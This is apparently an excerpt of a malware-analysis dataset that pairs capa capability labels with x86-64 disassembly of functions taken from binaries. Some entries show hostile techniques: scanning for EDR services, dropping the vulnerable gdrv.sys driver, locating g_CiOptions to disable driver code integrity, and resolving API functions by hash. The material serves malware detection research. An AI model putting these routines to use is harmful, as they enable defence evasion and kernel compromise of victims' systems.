joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45fd60
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4030af
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00409740
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045dcc0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x403080
cmp byte [0x005a708f], 0
je 0x45fd75
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45cdc0
jmp 0x403080

Function at 0x45fd80
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005a7340]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005a708f], 0
je 0x45fdb5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005a7680]
aesenc xmm0, xmmword [0x005a7690]
aesenc xmm0, xmmword [0x005a76a0]
movq rax, xmm0
ret
jmp 0x409940

Function at 0x45fdc0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005a7340]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005a708f], 0
je 0x45fdf6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005a7680]
aesenc xmm0, xmmword [0x005a7690]
aesenc xmm0, xmmword [0x005a76a0]
movq rax, xmm0
ret
jmp 0x4099a0

Function at 0x4617e0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x005a7600]
mov qword [rsp + 8], rdx
lea r8d, [0x005a70a8]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.0045fca0
add rsp, 0x30
ret

Function at 0x461d20
Capabilities:
Allocate thread local storage

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.kernel32.dll_TlsAlloc]
call rax
mov rsp, qword [rsp + 0x20]
mov rcx, rax
cmp rcx, 0x40
jb 0x461d4c
call fcn.0045fca0
shl rcx, 3
add rcx, 0x1480
mov qword [0x005a7270], rcx
ret
Function at 0x1800020b0
Capabilities:
Enumerate services

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xe010]
mov eax, 0xe110
call fcn.180004700
sub rsp, rax
mov rax, qword [0x1800d7040]
xor rax, rsp
mov qword [rbp + 0xe000], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rax
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x70], xmm1
lea r8d, [rax + 0x19]
lea rdx, str.CrowdStrike_Falcon_Sensor
lea rcx, [rsp + 0x60]
call fcn.1800017e0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x70], xmm1
mov r8d, 0xb
lea rdx, str.EDR_Service
lea rcx, [rbp - 0x80]
call fcn.1800017e0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x50], xmm1
mov r8d, 3
lea rdx, [0x1800d547c]
lea rcx, [rbp - 0x60]
call fcn.1800017e0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x30], xmm1
mov r8d, 0xf
lea rdx, str.McAfeeFramework
lea rcx, [rbp - 0x40]
call fcn.1800017e0
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call fcn.1800023c0
nop
lea r9, [fcn.180002580]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rsp + 0x60]
call fcn.1800037b8
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r15, rax
test rax, rax
je 0x180002285
xor esi, esi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
lea rax, [rbp - 0x20]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xe000
lea rax, [rbp]
mov qword [rsp + 0x20], rax
xor edx, edx
lea r9d, [rsi + 3]
lea r8d, [rsi + 0x30]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExA]
test eax, eax
je 0x18000227c
mov eax, dword [rbp - 0x20]
test eax, eax
je 0x18000227c
mov rbx, qword [rbp - 0x18]
mov rdi, qword [rbp - 0x10]
cmp rbx, rdi
je 0x180002276
mov eax, esi
imul rcx, rax, 0x38
lea r14, [rbp]
add r14, rcx
nop word [rax + rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x18000225d
mov rdx, qword [rbx]
mov rcx, qword [r14]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1800022bf
add rbx, 0x20
cmp rbx, rdi
jne 0x180002250
mov eax, dword [rbp - 0x20]
inc esi
cmp esi, eax
jb 0x180002230
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor bl, bl
lea rcx, [rbp - 0x18]
call fcn.180002350
movzx eax, bl
mov rcx, qword [rbp + 0xe000]
xor rcx, rsp
call fcn.1800035e0
lea r11, [rsp + 0xe110]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov bl, 1
jmp 0x180002287
Function at 0x180002300
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test edx, edx
je 0x180002336
cmp edx, 1
jne 0x18000232c
xor eax, eax
lea r8, [0x1800022d0]
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
test r8, r8
jne 0x18000232c
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
Function at 0x140f0d058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140f0d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140f0d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f0d06f
add dl, dl
jne 0x140f0d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f0d0f6
xor eax, eax
add dl, dl
jne 0x140f0d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140f0d1ad
add dl, dl
jne 0x140f0d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f0d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f0d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f0d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140f0d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140f0d07e
mov eax, 1
add dl, dl
jne 0x140f0d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140f0d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f0d0fb
sub eax, ebx
mov ebx, 1
jne 0x140f0d14c
mov ecx, 1
add dl, dl
jne 0x140f0d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f0d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f0d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f0d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140f0d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140f0d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140f0d15d
cmp eax, 0x7d00
jae 0x140f0d19b
cmp eax, 0x500
jb 0x140f0d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f0d07e
cmp eax, 0x7f
ja 0x140f0d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140f0d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140f0d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140f0d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x12e2058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.012e21df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x12e2089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x12e206f
add dl, dl
jne 0x12e2096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x12e20f6
xor eax, eax
add dl, dl
jne 0x12e20a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x12e21ad
add dl, dl
jne 0x12e20b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x12e20c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x12e20d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x12e20dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x12e20ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x12e207e
mov eax, 1
add dl, dl
jne 0x12e2106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x12e2113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x12e20fb
sub eax, ebx
mov ebx, 1
jne 0x12e214c
mov ecx, 1
add dl, dl
jne 0x12e212e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x12e213b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x12e2123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x12e207e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x12e2168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x12e2175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x12e215d
cmp eax, 0x7d00
jae 0x12e219b
cmp eax, 0x500
jb 0x12e2196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x12e207e
cmp eax, 0x7f
ja 0x12e219e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x12e207e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x12e21d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x12e207e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400111ef
Capabilities:
Terminate process

Disassembly:
jmp 0x140015050
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012d60
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012d80
xor al, al
jmp 0x140012e01
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012d93
xor al, al
jmp 0x140012e01
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012dbd
xor al, al
jmp 0x140012e01
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012dd1
xor al, al
jmp 0x140012e01
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012de3
xor al, al
jmp 0x140012e01
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012dff
xor al, al
jmp 0x140012e01
mov al, 1
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x1400050c0], 0
jne 0x1400011d4
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r9, qword [rcx + 0x10]
mov rax, qword [r9 + 0x30]
test rax, rax
je 0x1400011de
mov r8, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r8 + 0x88]
test ecx, ecx
je 0x14000106e
lea rdx, [r8 + rcx]
mov ecx, dword [r8 + rcx + 0xc]
mov eax, dword [rcx + r8]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x14000106e
mov eax, dword [rcx + r8 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x14000107a
mov r9, qword [r9]
mov rax, qword [r9 + 0x30]
test rax, rax
jne 0x140001031
test rdx, rdx
je 0x1400011de
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r8
mov esi, dword [rdx + 0x1c]
mov qword [rsp + 0x10], rdi
add rsi, r8
mov edi, dword [rdx + 0x20]
mov qword [rsp + 8], r14
add rdi, r8
mov qword [rsp], r15
lea r14, [0x1400050c0]
xor r10d, r10d
mov r15d, 0x775a
nop word [rax + rax]
lea eax, [rbx - 1]
mov edx, dword [rdi + rax*4]
add rdx, r8
cmp word [rdx], r15w
jne 0x140001135
xor r11d, r11d
mov r9d, 0x92d861f5
mov rax, rdx
nop dword [rax + rax]
movzx eax, word [rax]
mov ecx, r9d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r9d, ecx
cmp byte [rax], 0
jne 0x1400010f0
lea rdx, [r10*8]
inc r10d
mov dword [rdx + r14 + 4], r9d
lea eax, [rbx - 1]
movzx eax, word [rbp + rax*2]
mov eax, dword [rsi + rax*4]
mov dword [rdx + r14 + 8], eax
cmp r10d, 0x1f4
je 0x14000113a
add ebx, 0xffffffff
jne 0x1400010d0
mov r15, qword [rsp]
lea eax, [r10 - 1]
mov rsi, qword [rsp + 0x30]
xor r9d, r9d
mov rbp, qword [rsp + 0x28]
mov dword [0x1400050c0], r10d
test eax, eax
je 0x1400011c5
nop word [rax + rax]
mov ecx, r10d
xor eax, eax
sub ecx, r9d
cmp ecx, 1
je 0x1400011b9
nop dword [rax]
mov edx, eax
lea r11d, [rax + 1]
mov ebx, dword [r14 + r11*8 + 8]
mov edi, dword [r14 + rdx*8 + 8]
cmp edi, ebx
jbe 0x1400011a9
mov ecx, dword [r14 + rdx*8 + 4]
mov eax, dword [r14 + r11*8 + 4]
mov dword [r14 + rdx*8 + 4], eax
mov dword [r14 + r11*8 + 4], ecx
mov dword [r14 + rdx*8 + 8], ebx
mov dword [r14 + r11*8 + 8], edi
mov r10d, dword [0x1400050c0]
mov ecx, r10d
mov eax, r11d
sub ecx, r9d
dec ecx
cmp r11d, ecx
jb 0x140001170
inc r9d
lea eax, [r10 - 1]
cmp r9d, eax
jb 0x140001160
mov rdi, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x20]
mov r14, qword [rsp + 8]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret
Function at 0x140002370
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023bc
xor al, al
add rsp, 0x28
ret
Function at 0x1400829a0
Capabilities:
Delete file
Execute command
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x14030ff40]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140082a2f
cmp rdi, 0xffffffffffffffff
je 0x140082a41
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbx
mov r8d, 0x6650
lea rdx, [0x14030ffe0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140082a41
call fcn.1400836b0
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1401fdc54]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401cb920
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x140082b40
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov r11, rsp
push rbp
push r14
sub rsp, 0x168
mov rax, qword [0x14030ff40]
xor rax, rsp
mov qword [rsp + 0x158], rax
mov r14, rdx
mov qword [rdx], 0
xor edx, edx
mov dword [r11 - 0x28], 0
mov rbp, rcx
lea r9, [r11 - 0x28]
xor r8d, r8d
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140082cef
mov rax, qword gs:[0x30]
mov r8d, dword [rsp + 0x150]
mov qword [rsp + 0x198], rsi
add r8, r8
mov qword [rsp + 0x160], rdi
mov rdx, qword [rax + 0x60]
mov rcx, qword [rdx + 0x30]
mov edx, 8
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r8d, dword [rsp + 0x150]
xor r9d, r9d
add r8d, r8d
mov rdx, rax
mov rdi, rax
lea ecx, [r9 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
test eax, eax
js 0x140082cc1
mov qword [rsp + 0x190], rbx
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x140082cb9
mov ecx, ebx
lea rax, [rsp + 0x20]
imul rcx, rcx, 0x128
mov edx, 2
add rcx, 8
add rcx, rdi
nop dword [rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x140082c20
movups xmm0, xmmword [rcx]
lea rdx, [rsp + 0x48]
movups xmm1, xmmword [rcx + 0x10]
mov rcx, qword [rcx + 0x20]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rax + 0x20], rcx
mov rcx, rbp
movzx eax, word [rsp + 0x46]
add rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140082caf
inc ebx
cmp ebx, dword [rdi]
jb 0x140082c02
jmp 0x140082cb9
mov rax, qword [rsp + 0x30]
xor esi, esi
mov qword [r14], rax
mov rbx, qword [rsp + 0x190]
mov rax, qword gs:[0x30]
mov r8, rdi
xor edx, edx
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov rdi, qword [rsp + 0x160]
mov eax, esi
mov rsi, qword [rsp + 0x198]
mov rcx, qword [rsp + 0x158]
xor rcx, rsp
call fcn.1401cb920
add rsp, 0x168
pop r14
pop rbp
ret
Function at 0x140082d10
Capabilities:
Disable driver code integrity

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov r14, r8
mov qword [r8], rbx
mov rbp, rdx
mov rsi, rcx
call fcn.140083c50
mov rcx, rsi
mov rdi, rax
call fcn.140083c50
mov r9, rax
test rax, rax
je 0x140082e3d
mov rax, qword gs:[0x30]
mov r10d, ebx
mov r8d, ebx
mov rcx, qword [rax + 0x60]
mov eax, 0x3fab
cmp word [rcx + 0x120], ax
jb 0x140082dd2
lea r11, [0x1401fdc90]
sub r9, r11
nop
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140082d92
test dl, dl
jne 0x140082dce
inc ecx
inc rax
cmp ecx, 0x10
jb 0x140082d85
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140082d80
movzx ecx, bx
nop dword [rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140082dc0
jmp 0x140082e2c
xor cl, cl
jmp 0x140082d9e
lea r11, [0x1401fdc80]
sub r9, r11
nop dword [rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r9 + rax], dl
je 0x140082df2
test dl, dl
jne 0x140082e44
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140082de5
mov cl, 1
test cl, cl
mov eax, r8d
cmove eax, r10d
inc r8d
inc r9
mov r10d, eax
cmp r8d, 0xff
jl 0x140082de0
mov ecx, ebx
nop dword [rax + rax]
inc cx
movzx eax, cx
cmp byte [rax + r11], bl
jne 0x140082e20
test r10d, r10d
jne 0x140082e48
lea rcx, str.failed_to_find_CipInitialize_n
call fcn.140082ae0
xor eax, eax
jmp 0x140082f2b
xor cl, cl
jmp 0x140082dfe
movzx r9d, cx
mov edx, r10d
movsxd rcx, r10d
lea rax, [rcx + r9]
mov r8d, dword [rax + rdi]
add rdi, 4
lea rax, [rcx + r8]
add rax, r9
lea rcx, str.CipOffset_:__d___CipInitOffset_:_0x_llx__CipInitialize_:_0x_llx_n
add rdi, rax
mov r9, rdi
call fcn.140082ae0
lea r11, [0x1401fdc70]
mov r8, rdi
sub r8, r11
mov r10d, ebx
mov r9d, ebx
nop word [rax + rax]
mov ecx, ebx
mov rax, r11
movzx edx, byte [rax]
cmp byte [r8 + rax], dl
je 0x140082ea2
test dl, dl
jne 0x140082ef1
inc ecx
inc rax
cmp ecx, 0xc
jb 0x140082e95
mov cl, 1
test cl, cl
mov eax, r9d
cmove eax, r10d
inc r9d
inc r8
movsxd r10, eax
cmp r9d, 0xff
jl 0x140082e90
nop dword [rax]
inc bx
movzx edx, bx
cmp byte [rdx + r11], 0
jne 0x140082ed0
test eax, eax
jne 0x140082ef5
lea rcx, str.failed_to_find_Ci_gOptions_n
call fcn.140082ae0
xor eax, eax
jmp 0x140082f2b
xor cl, cl
jmp 0x140082eae
lea rax, [rdx + r10]
movsxd r8, dword [rax + rdi]
lea rcx, [r10 + 4]
lea rbx, [rdx + r8]
mov edx, r10d
add rbx, rcx
lea rcx, str.Offset_:__d_RealOffset_:__d__g_CiOptions_:_0x_llx
add rbx, rdi
mov r9, rbx
call fcn.140082ae0
sub rbx, rsi
mov eax, 1
add rbx, rbp
mov qword [r14], rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140082f50
Capabilities:
Access peb ldr_data
Get windows directory from kuser_shared_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x14030ff40]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov qword [rcx], 0
lea rdx, [rsp + 0x58]
mov eax, dword [0x1401fea38]
lea r8, str._lsSystem32_hs
movsd xmm0, qword [0x1401fea30]
mov rdi, rcx
mov dword [rsp + 0x60], eax
mov esi, 0x23f0
movzx eax, byte [0x1401fea3c]
mov r9d, 0x7ffe0030
mov byte [rsp + 0x64], al
mov eax, dword [str.CI.dll]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1401fea44]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1401fea46]
mov byte [rsp + 0x56], al
movsd qword [rsp + 0x58], xmm0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
lea rax, [rsp + 0x50]
cmp word [rcx + 0x120], si
lea rcx, [rsp + 0x70]
cmovb rax, rdx
mov edx, 0x82
mov qword [rsp + 0x20], rax
call fcn.140082a80
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140083a20
mov ebx, eax
test eax, eax
jns 0x140083049
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, str.Failed_to_map__ls:__08X_n
call fcn.140082ae0
jmp 0x140083180
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
cmp word [rcx + 0x120], si
jb 0x1400830b2
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140082b40
mov ebx, eax
test eax, eax
jns 0x140083087
mov edx, eax
lea rcx, str.Failed_to_FindKernelModule__08X_n
call fcn.140082ae0
jmp 0x14008316e
mov rdx, qword [rsp + 0x38]
